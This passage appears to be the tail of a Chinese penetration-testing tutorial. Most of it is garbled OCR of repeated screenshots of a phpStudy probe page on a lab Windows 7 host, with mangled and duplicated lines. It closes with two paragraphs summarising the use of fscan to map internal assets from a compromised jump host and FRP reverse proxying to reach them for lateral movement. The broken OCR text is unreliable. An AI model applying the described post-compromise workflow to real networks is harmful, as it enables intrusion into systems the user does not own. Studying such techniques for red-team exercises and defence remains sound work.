× The page 2010	ge must be viewed over a × 52.143 phpStudy 抒 服务器域名/IP地址 192 服务器标识 Wr	Sentinel Keys Licens 不年十 for phpStudy 2.168.52.143(192.168.52. rdows NT STU1 6.1 build	se Monitor × phpSt 2014 (143) 7601 (Windows 7 Business	udy 探针 2014 Edition Service Pack 1) i586	× + 器 ☆ Q 搜索 not 不想	望示 phpStudy 探社	
× The page 192.168.5	ge must be viewed over a × 52.143 phpStudy 好 服务器域名/IP地址 192 服务器标识 Wr 服务器操作系统 Wr	Sentinel Keys Licens 不干 for phpStudy 2.168.52.143(192.168.52. rdows NT STU1 6.1 build rdows 内核版本: NT	se Monitor × phpSt 72014 .143) 7601 (Windows 7 Business	udy 探针 2014 Edition Service Pack 1) i586 服务器解译引擎	× + 驟 ☆ Q 搜索 not 不想	显示 phpStudy 探针 enSSL/1.0.2j PHP/5.4.45	
× The pag & 192.168.5	ge must be viewed over a × 52.143 phpStudy 好 服务器域名/IP地址 192 服务器城名/IP地址 192 服务器操作系统 Wr 服务器语言 ²	Sentinel Keys Licens 不午 for phpStudy 2.168.52.143(192.168.52. ndows NT STU1 6.1 buid ndows 内核版本: NT CN,zh;q=0.8,zh-TW;q=0. 0.2	e Monitor × phpSt 2014 143) 7601 (Windows 7 Business 1.7,zh-HK;q=0.5,en-US;q=0.	udy 探针 2014 Edition Struce Pack 1) i586 服务器解译引擎 3,en; 服务器满口	× + 課 ☆ Q 搜索 not 不想 Apache/2.4.23 (Win32) Op 80	显示 phpStudy 探社 enSSL/1.0.2j PHP/5.4.45	
× The pag & 192.168.5	ge must be viewed over a × 52.143 phpStudy 抒 服务器域名/IP地址 192 服务器操作系统 Wr 服务器语言 2 ^{h-} q=1 服务器语言 2 ^{f-}	Sentinel Keys Licens 不午 for phpStudy 2.168.52.143(192.168.52. 1dows NT STU1 6.1 buid 1dows 内核版本: NT CN,zh;q=0.8,zh-TW;q=0. 0.2 U1	e Monitor × phpSt 2014 .143) 7601 (Windows 7 Business .7,zh-HK;q=0.5,en-US;q=0.	udy 探针 2014 Edition SErvice Pack 1) i586 服务器解译引擎 3,en; 服务器端口 绝对路径	× + 課 ☆ Q 搜索 not 不想 Apache/2.4.23 (Win32) Op 80 C:/phpStudy/WWW	增示 phpStudy 探针 enSSL/1.0.2j PHP/5.4.45	
× The pag & 192.168.5	ge must be viewed over a × 52.143 phpStudy 芬 服务器域名/IP地址 192 服务器标识 Wir 服务器语言 2h- 服务器连机名 STU 管理员邮箱 adr	Sentinel Keys Licens 不午十 for phpStudy 2.168.52.143(192.168.52. ndows NT STU1 6.1 buid ndows 内核版本: NT CN,zh;q=0.8,zh-TW;q=0. 0.2 U1 nin@phpStudy.net	e Monitor × phpSt 2014 .143) 7601 (Windows 7 Business .7,zh-HK;q=0.5,en-US;q=0.	udy 探针 2014 Edition University 2014 Edition University 2014 Edition University 2014 服务器解译引擎 服务器解译引擎 服务器解译引擎 编对路径 集升路径	× + 器 ☆ Q 搜索 not # not # Apache/2.4.23 (Wn32) Op 80 C:/phpStudy/WWW C:/phpStudy/WWW/Lphp	增示 phpStudy 探针 enSSL/1.0.2j PHP/5.4.45	
× The page № 192.168.5	ge must be viewed over a × 52.143 DhpStudy 好 服务器域名/IP地址 192 服务器标识 Wr 服务器语言 2h- 服务器语言 2h- 服务器语言 3rd 管理员邮箱 adr	Sentinel Keys Licens 不午 for phpStudy 2.168.52.143(192.168.52. ndows NT STUI 6.1 build ndows 内核版本: NT CN,zh;q=0.8,zh-TW;q=0. 0.2 U1 min@phpStudy.net	se Monitor × phpSt 2014 .143) 7601 (Windows 7 Business .7,zh-HK;q=0.5,en-US;q=0.	udy 探针 2014 Edition Service Pack 1), 586 服务器解译引擎 3,en; 服务器端口 绝对路径 第 探针路径	× + 器 ☆ Q 搜索 not 不想 Apache/2.4.23 (Win32) Op 80 C:/phpStud/WWW C:/phpStud/WWW/Lphp	!显示.phpStudy 探社 enSSL/1.0.2j PHP/5.4.45	
× The page № 192.168.5	ge must be viewed over a × 52.143 DhpStudy 好 服务器域名/IP地址 192 服务器标识 Wr 服务器操作系统 Wr 服务器语言 ² h- 服务器连机名 STI 管理员邮箱 adr PHP已编译模块检测 Core bemath calen odbc pcre Reflect SimpleXML wddx xm pdo_mysq1 pdo_eqli	Sentinel Keys Licens 不任十 for phpStudy 2.168.52.143(192.168.52. ndows NT STU1 6.1 build ndows 内核版本: NT CN,zh;q=0.8,zh-TW;q=0. 0.2 U1 min@phpStudy.net idar ctype date of ion session stam. 1 xmlreader xmlwi te sqlite3 xmlrpd	ereg filter ftp h dard mysqlnd token riter apache2handle. c xel mhash	udy 探针 2014 Edition Service Pack 1) i586 服务器解译引擎 3,en; 服务器端口 绝对路径 探针路径	× + 器 ☆ Q 搜索 not 不想 Apache/2.4.23 (Win32) Op 80 C:/phpStud/WWW C:/phpStud/WWW/Lphp	聖示 phpStudy 探针 enSSL/1.0.2j PHP/5.4.45	
× The pag № 192.168.5	ge must be viewed over a × 52.143 DhpStudy 抒 服务器域名/IP地址 192 服务器标识 Wr 服务器语言 之 中 服务器连机名 STI 服务器主机名 STI 管理员邮箱 adr PHP已编译模块检测 Core bcmath calem odbc pcre Reflect SimpleXML wdax xm pdo_mysql pdo_sqli	Sentinel Keys Licens 不午 for phpStudy 2.168.52.143(192.168.52. ndows NT STUI 6.1 build ndows 内核版本: NT CN,zh;q=0.8,zh-TW;q=0. 0.2 U1 min@phpStudy.net idar ctype date of iion session stand 1 xmlreader xmlwi te sqlite3 xmlro	e Monitor × phpSt 2014 143) 7601 (Windows 7 Business 1.7,zh-HK;q=0.5,en-US;q=0. dard mysqlnd token riter apache2handle: c xsl mhash	udy 探针 2014 Edition Service Pack 1) i586 服务器解译引擎 3,en; 服务器满口 绝对路径 探针路径	× + 驟 ☆ Q 搜索 not 不想 Apache/2.4.23 (Win32) Op 80 C:/phpStudy/WWW C:/phpStudy/WWW/Lphp rypt SPL ml dom PDO bz2 thnet gd mbstring my	비교규 phpStudy f왔tt enSSL/1.0.2j PHP/5.4.45	
× The pag & 192.168.5	ge must be viewed over a × 52.143 phpStudy 抒 服务器域名/IP地址 192 服务器标识 Wr 服务器语言 2h- q=1 服务器主机名 STI 管理员邮箱 adr PHP已编译模块检测 Core bcmath calen core bcmath calen	Sentinel Keys Licens 不午 for phpStudy 2.168.52.143(192.168.52. ndows NT STUI 6.1 build ndows 内核版本: NT CN,zh;q=0.8,zh-TW;q=0. 0.2 U1 min@phpStudy.net idar ctype date of iion session stand i xmlreader xmlwp te sqlite3 xmlrpo	ereg filter ftp h dard mysqlnd token riter apache2handle. c xsl mhash	udy 探针 2014 Edition Service Pack 1) i586 服务器解译引擎 3,en; 服务器端口 绝对路径 探针路径 izer zip zib libb r: Phar curl com_de	× + 驟 ☆ Q 搜索 not 不想 Apache/2.4.23 (Wn32) Op 80 C:/phpStudy/WWW C:/phpStudy/WWW/Lphp Spinet gd mbstring my sion) :	문화규 phpStudy 1%tt enSSL/1.0.2j PHP/5.4.45 eq1 mysqli	
× The pag & 192.168.5	ge must be viewed over a × 52.143 DhpStudy 抒 服务器域名/IP地址 192 服务器标识 Wr 服务器语言 2h- 服务器语言 2h- 服务器通机名 STU 管理员邮箱 adr PHPC编译极块检测 Core bcmath calent odbc pret Reflect SimpleXML wddx xm pdo_mysql pdo_sqlii PHP信息 (phpinfo) : PHP运行方式:	Sentinel Keys Licens 不年十 for phpStudy 2.168.52.143(192.168.52. ndows NT STUI 6.1 build ndows 内核版本: NT -CN,zh;q=0.8,zh-TW;q=0. 0.2 U1 min@phpStudy.net	e Monitor × phpSt 2014 .143) 7601 (Windows 7 Business .7,zh-HK;q=0.5,en-US;q=0. .7,zh-HK;q=0.5,en-US;q=0. ereg filter ftp h dard mysqlnd token riter apache2handle. c xsl mhash PHPINFO APACHE2HANDLER	udy 探针 2014 Edition S=rvice Pack 1) i586 服务器解译引擎 3,en; 服务器端口 绝对路径 探针路径 排探针路径 PHP版本 (php_ver 脚本占用最大内存	× + 驟 ☆ Q 搜索 not 乔想 Apache/2.4.23 (Win32) Op 80 C:/phpStudy/WWW C:/phpStudy/WWW C:/phpStudy/WWW/Lphp Sion) : (memory_limt) :	월示 phpStudy 探험 enSSL/1.0.2j PHP/5.4.45 eq1 mysqli 5.4.45 128M	
× The pace № 192.168.5	ge must be viewed over a × 52.143 DhpStudy 好 服务器域名/IP地址 192 服务器体系 Wr 服务器操作系统 Wr 服务器通言 2h- 服务器通言 2h- 服务器通机名 STU 管理员邮箱 adr PHP已编译模块检测 Core bcmath calent odbc prer Reflect SimpleXML wddx xm pdo_mysql pdo_sqli PHP信息 (phpinfo) : PHP空全模式 (safe_mode	Sentinel Keys Licens 不年十 for phpStudy 2.168.52.143(192.168.52. ndows NT STUI 6.1 build ndows 内核版本: NT CN,zh;q=0.8,zh-TW;q=0. 0.2 U1 min@phpStudy.net idar ctype date of ion session stand 1 xmlreader xmlw; te sqlite3 xmlrpd e) :	e Monitor × phpSt 2014 .143) 7601 (Windows 7 Business .7,zh-HK;q=0.5,en-US;q=0. dard mysqlnd token riter apache2handler c xal mhash PHPINFO APACHE2HANDLER ×	udy 探针 2014 Edition Service Pack 1) i586 服务器解译引擎 3,en; 服务器端口 绝对路径 探针路径 第针路径 PHP版本 (php_ver 脚本占用最大内存 POST方法提交最大	× + 驟 ☆ Q 搜索 not 乔想 Apache/2.4.23 (Win32) Op 80 C:/phpStudy/WWW C:/phpStudy/WWW/Lphp C:/phpStudy/WWW/Lphp c:/phpStudy/WWW/Lphp c:/phpStudy/WWW/Lphp	التحت phpStudy f%t1 enSSL/1.0.2j PHP/5.4.45 aql mysqli 5,4.45 128M 8M	
× The pace № 192.168.5	ge must be viewed over a × 52.143 DhpStudy 好 服务器域名/IP地址 192 服务器体名/IP地址 192 服务器体系 Wir 服务器语言 2h- 服务器语言 2h- 服务器通信 2h- 同時 服务器通信 2h- 同時 和子子子子子子子子子子子子子子子子子子子子子子子子子子子子子子子子子子子子	Sentinel Keys Licens 不年十 for phpStudy 2.168.52.143(192.168.52. ndows NT STUI 6.1 build ndows 内核版本: NT CN,zh;q=0.8,zh-TW;q=0. 0.2 U1 min@phpStudy.net idar ctype date of ison session stand 1 xmlreader xmlw; te sqlite3 xmlrpd e) : d_max_filesize) :	e Monitor × phpSt 2014 143) 7601 (Windows 7 Business 7,zh-HK;q=0.5,en-US;q=0. 1,7,zh-HK;q=0.5,en-US;q=0. ereg filter ftp h dard mysqlnd token riter apache2handler c xsl mhash PHPINFO APACHE2HANDLER × 2M	udy 探针 2014 Edition Service Pack 1) :586 服务器解译引擎 3,en; 服务器端口 绝对路径 探针路径 算术针路径 PHP版本 (php_ver 脚本占用最大内存 POST方法提交最大 浮点型数据显示的:	× + 驟 ☆ Q 搜索 not 不想 Apache/2.4.23 (Win32) Op 80 C:/phpStudy/WWW C:/phpStudy/WWW/Lphp C:/phpStudy/WWW/Lphp C:/phpStudy/WWW/Lphp Sion): (memory_limit): : : : : : ::::::::::::::::::::::::::	التات المراجعة التات المراجعة eq1 mysqli 5.4.45 128M 8M 14	
× The pace № 192.168.5	ge must be viewed over a × 52.143 52.143 DhpStudy 好 服务器域名/IP地址 192 服务器体名/IP地址 192 服务器体名/IP地址 192 服务器操作系统 Wir 服务器语言 2h- 服务器注机名 STI 管理员邮箱 adr PHP已编译模块检测 Core bcmath calen odbc pcre Reflect SimpleXML wddx xm pdc_mysql pdc_sqli PHP信息 (phpinfo) : PHP运行方式: PHP安全模式 (safe_mode 上传文件最大限制 (uploa 脚本超时时间 (max_exec	Sentinel Keys Licens 不年十 for phpStudy 2.168.52.143(192.168.52. ndows NT STU1 6.1 build ndows 内核版本: NT CN,zh;q=0.8,zh-TW;q=0. 0.2 U1 min@phpStudy.net idar ctype date of ion session stand 1 xmlreader xmlw; te sqlite3 xmlrpd e) : d_max_filesize) : cution_time) :	e Monitor × phpSt 2014 .143) 7601 (Windows 7 Business .7,zh-HK;q=0.5,en-US;q=0. .7,zh-HK;q=0.5,en-US;q=0. ereg filter ftp h dard mysqlnd token riter apache2handler o xsl mhash PHPINFO APACHE2HANDLER × 2M 30₺9	udy 探针 2014 Edition Service Pack 1) i586 服务器解译引擎 3,en; 服务器端口 绝对路径 探针路径 算深针路径 PHP版本 (php_ver 脚本占用最大内存 POST方法提交最大 浮点型数据显示的 socket超时时时(c	× + 驟 ☆ Q 搜索 not 不想 Apache/2.4.23 (Win32) Op 80 C:/phpStud//WWW C:/phpStud//WWW C:/phpStud//WWW/Lphp Sion): (memory_limit): (memory_limit): (環制 (post_max_size): 自效位数 (precision): lefault_socket_timeout):	IIII IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII	
× The page № 192.168.5	ge must be viewed over a × 52.143 52.143 DhpStudy 好 服务器域名/IP地址 192 服务器标识 Wr 服务器操作系统 Wr 服务器操作系统 Wr 服务器操作系统 STI 管理员邮箱 adr PHP已编译模块检测 Core bemath calen odbe pere Reflect SimpleXML wddx xm pdo_mysql pdo_sqli PHP信息 (phpinfo) : PHP信息 (phpinfo) : PHP运行方式: PHP安全模式 (safe_modd 上传文件最大限制 (uploa 脚本超时时间 (max_exee PHP页面根目录 (doc_root	Sentinel Keys Licens 不年十 for phpStudy 2.168.52.143(192.168.52. ndows NT STU1 6.1 buid ndows 内核版本: NT CN,zh;q=0.8,zh-TW;q=0. 0.2 U1 min@phpStudy.net idar ctype date of idar ctype date of idar session stand al xmlreader xmlw; te sqlite3 xmlrpo e) : d_max_flesize) : cution_time) : t) :	ereg filter ftp h dard mysqlnd token riter apache2handler c xal mhash PHPINFO APACHE2HANDLER x 2M 30₺9 x	udy 探针 2014 Edition Service Pack 1) i586 服务器解译引擎 3,en; 服务器端口 绝对路径 探针路径 体对路径 探针路径 PHP版本 (php_ver 脚本占用最大内存 POST方法提交最大 浮点型数据显示好 socket超时时间 (c 用户根目录 (user_	× + 器 ☆ Q 搜索 not 不想 Apache/2.4.23 (Wn32) Op 80 C:/phpStud/WWW C:/phpStud/WWW/Lphp C:/phpStud/WWW/Lphp Sion): (memory_lmt): (memor	IIII Image: Study IX11 enSSL/1.0.2j PHP/5.4.45 eq1 mysqli 5.4.45 128M 8M 14 60₺少 ×	
× The page № 192.168.5	ge must be viewed over a × 52.143 52.143 DhpStudy 好 服务器域名/IP地址 192 服务器域名/IP地址 192 服务器插高	Sentinel Keys Licens 不午 for phpStudy 2.168.52.143(192.168.52. ndows NT STUI 6.1 build ndows 内核版本: NT CN,zh;q=0.8,zh-TW;q=0. 0.2 U1 min@phpStudy.net idar ctype date of iion session stand 1 xmlreader xmlwi te sqlite3 xmlrpd e) : d_max_filesize) : cution_time) : t) :	e Monitor × phpSt ,2014 .143) 7601 (Windows 7 Business .7,zh-HK;q=0.5,en-US;q=0. .1,zh-HK;q=0. .1,zh-H	udy 探针 2014 Edition Service Pack 1) i586 服务器解译引擎 3,en; 服务器端口 绝对路径 探针路径 给对路径 定 定 zip zlib lib; c Phar curl com_do phP版本 (php_ver 脚本占用最大内存 POST方法提交最大 浮点型数据显示的; socket超时时间 (c 用户根目录 (user, 指定包含文件目录	× + 酸 ☆ Q 搜索 not 不想 Apache/2.4.23 (Wn32) Op 80 C:/phpStud/WWW C:/phpStud/WWW/Lphp C:/phpStud/WWW/Lphp sion) : (memory_limit) : cmemory_limit) :	Pars phpStudy f%t1 enSSL/1.0.2j PHP/5.4.45 sq1 mysq1i sq1 5.4.45 128M 8M 14 60₺少 × × × ×	
× The page № 192.168.5	ge must be viewed over a × 52.143 52.143 DhpStudy 好 服务器域名/IP地址 192 服务器标识 Wr 服务器插高 2h- q= 服务器连机名 STI 管理员邮箱 adr PHPC输挥模块检测 Core bcmath calen odbc pcre Reflect SimpleXML wddx xm pdo_mysql pdo_sqli PHP信息 (phpinfo) : PHP信息 (phpinfo) : PHP空看觉式 (safe_mode 上传文件最大限制 (uploa 脚本超时时间 (max_exee PHP页面根目录 (doc_rool d()函数 (enable_d) : 显示错误信息 (dsplay_er	Sentinel Keys Licens 不年十 for phpStudy 2.168.52.143(192.168.52. ndows NT STUI 6.1 build ndows 内核版本: NT CN,zh;q=0.8,zh-TW;q=0. 0.2 U1 min@phpStudy.net idar ctype date of ison session stand l xmlreader xmlwi ite sqlite3 xmlrpd e) : d_max_filesize) : cution_time) : t) : rors) :	e Monitor × phpSt ,2014 .143) 7601 (Windows 7 Business .7,zh-HK;q=0.5,en-U5;q=0. .7,zh-HK;q=0. .7,zh-HK;q	udy 探针 2014 Edition Service Pack 1) i586 服务器解译引擎 3,en; 服务器端口 约43对路径 探针路径 约43对路径 探针路径 PHP版本 (php_ver 脚本占用最大内存 POST方法提交最大 浮点型数据显示的 socket超时时间 (c 用户根目录 (user 指定包含文件目录 自定义全局变量 (× + 酸 ☆ Q 搜索 not 不想 Apache/2.4.23 (Wn32) Op 80 C:/phpStud/WWW C:/phpStud/WWW/Lphp c:/phpStud/WWW/Lphp c:/phpStud/WWW/Lphp rsion) : (memory_limit) : cmmory_limit) : cmmory_limi	العتہ phpStudy 1%11 enSSL/1.0.2j PHP/5.4.45 aql mysqli sql 128M 8M 14 60₺୬ × × × × ×	
 × The page № 192.168.5 	ge must be viewed over a × 52.143 phpStudy 抒 服务器域名/IP地址 197 服务器标识 Wr 服务器插高 2h- q= 服务器语高 2h- q= 服务器直机名 STI 管理员邮箱 adr PHP已编译使块检测 4 PHP已编译使块检测 4 PHP已编译使块体测 4 PHP记录方式: PHP安全模式 (safe_mode 上传文件最大限制 (uploa 脚本超时时间 (max_exec PHP页面根目录 (doc_root d()函数 (enable_d) : 显示错误信息 (dsplay_er 数据反斜杠转义 (magic_d	Sentinel Keys Licens 不年十 for phpStudy 2.168.52.143(192.168.52. ndows NT STUI 6.1 build ndows 内核版本: NT CN,zh;q=0.8,zh-TW;q=0. 0.2 U1 min@phpStudy.net idar ctype date of ion session stand al xmlreader xmlw; ite sqlite3 xmlrpo e) : d_max_filesize) : cution_time) : t) : rors) : quotes_gpc) :	e Monitor × phpSt ,2014 .143) 7601 (Windows 7 Business .7,zh-HK;q=0.5,en-US;q=0. .7,zh-HK;q=0. .7,zh-HK;q	udy 探针 2014 Edition Service Pack 1) i586 服务器解译引擎 3,en; 服务器端口 络对路径 探针路径 均子子子子子子子子子子子子子子子子子子子子子子子子子子子子子子子子子子子子	× + 驟 ☆ Q 搜索 not 不想 Apache/2.4.23 (Wn32) Op 80 C:/phpStudy/WWW C:/phpStudy/WWW C:/phpStudy/WWW/Lphp C:/phpStudy/WWW/Lphp C:/phpStudy/WWW/Lphp Sion): (memory_limt): (memory_limt): (memory_limt): (memory_limt): (memory_limt): (memory_limt): (include_path): register_globals): short_open_tag):	Image: series and serie	
× The page 32 192.168.5	ge must be viewed over a × 52.143 phpStudy 抒 服务器域名/IP地址 197 服务器域名/IP地址 197 服务器标识 Wr 服务器语言 2- 和 服务器语言 2- 和 電子 服务器语言 3- 如 昭务器语言 3- 和 四 和 日 和 日 和 日 日 日 日 日 日 日 日 日 日 日 日 日	Sentinel Keys Licens 不年十 for phpStudy 2.168.52.143(192.168.52. ndows NT STUI 6.1 build ndows 内核版本: NT CN,zh;q=0.8,zh-TW;q=0. 0.2 U1 min@phpStudy.net idar ctype date of ion session stand al xmlreader xmlw; te sqlite3 xmlrpd al xmlreader xmlw; for splite3 xmlrpd al xmlreader xmlw; tre sqlite3 xmlrpd al xmlreader xmlw; te sqlite3 xmlrpd al xmlreader xmlrpd al xml	e Monitor × phpSt 2014 143) 7601 (Windows 7 Business 1.7,zh-HK;q=0.5,en-US;q=0. 1.7,zh-HK;q=0. 1	udy 探针 2014 Edition Service Pack 1) i586 服务器解译引擎 3,en; 服务器端口 络对路径 探针路径 均子子子子子子子子子子子子子子子子子子子子子子子子子子子子子子子子子子子子	× + 驟 ☆ Q 搜索 not 주想 Apache/2.4.23 (Win32) Op 80 C:/phpStudy/WWW C:/phpStudy/WWW C:/phpStudy/WWW/Lphp C:/phpStudy/WWW/Lphp C:/phpStudy/WWW/Lphp Sion): (memory_limt): (memory_limt): (memory_limt): (memory_limt): (memory_limt): (memory_limt): (memory_limt): (memory_limt): (memory_limt): (memory_limt): (memory_limt): (memory_limt): (memory_limt): (include_path): register_globals): short_open_tag): (ignore_repeated_errors):	العتة phpStudy f%ti enSSL/1.0.2j PHP/5.4.45 aql mysqli sql 5.4.45 128M 8M 14 60秒 × × × × × × × × × ×	

看到这,你应该明白 fscan 这款内网神器有多香了吧! 收集到如此多的内网资产信息,接下来的内网横向渗透就更加简便清晰 了!

本文学习、总结了内网穿透神器 FRP 反向代理工具的使用方法,同时介绍了 fscan 内网资产情况扫描神器的使用。在实际的攻防演习、内网渗透中,拿到外网跳板机的 Shell 权限后,我们可以使用 fscan 在跳板机上扫描内网进行资产搜集,然后使用 FRP 进行内网穿透后对收集到的内网资产进行横向渗透攻击!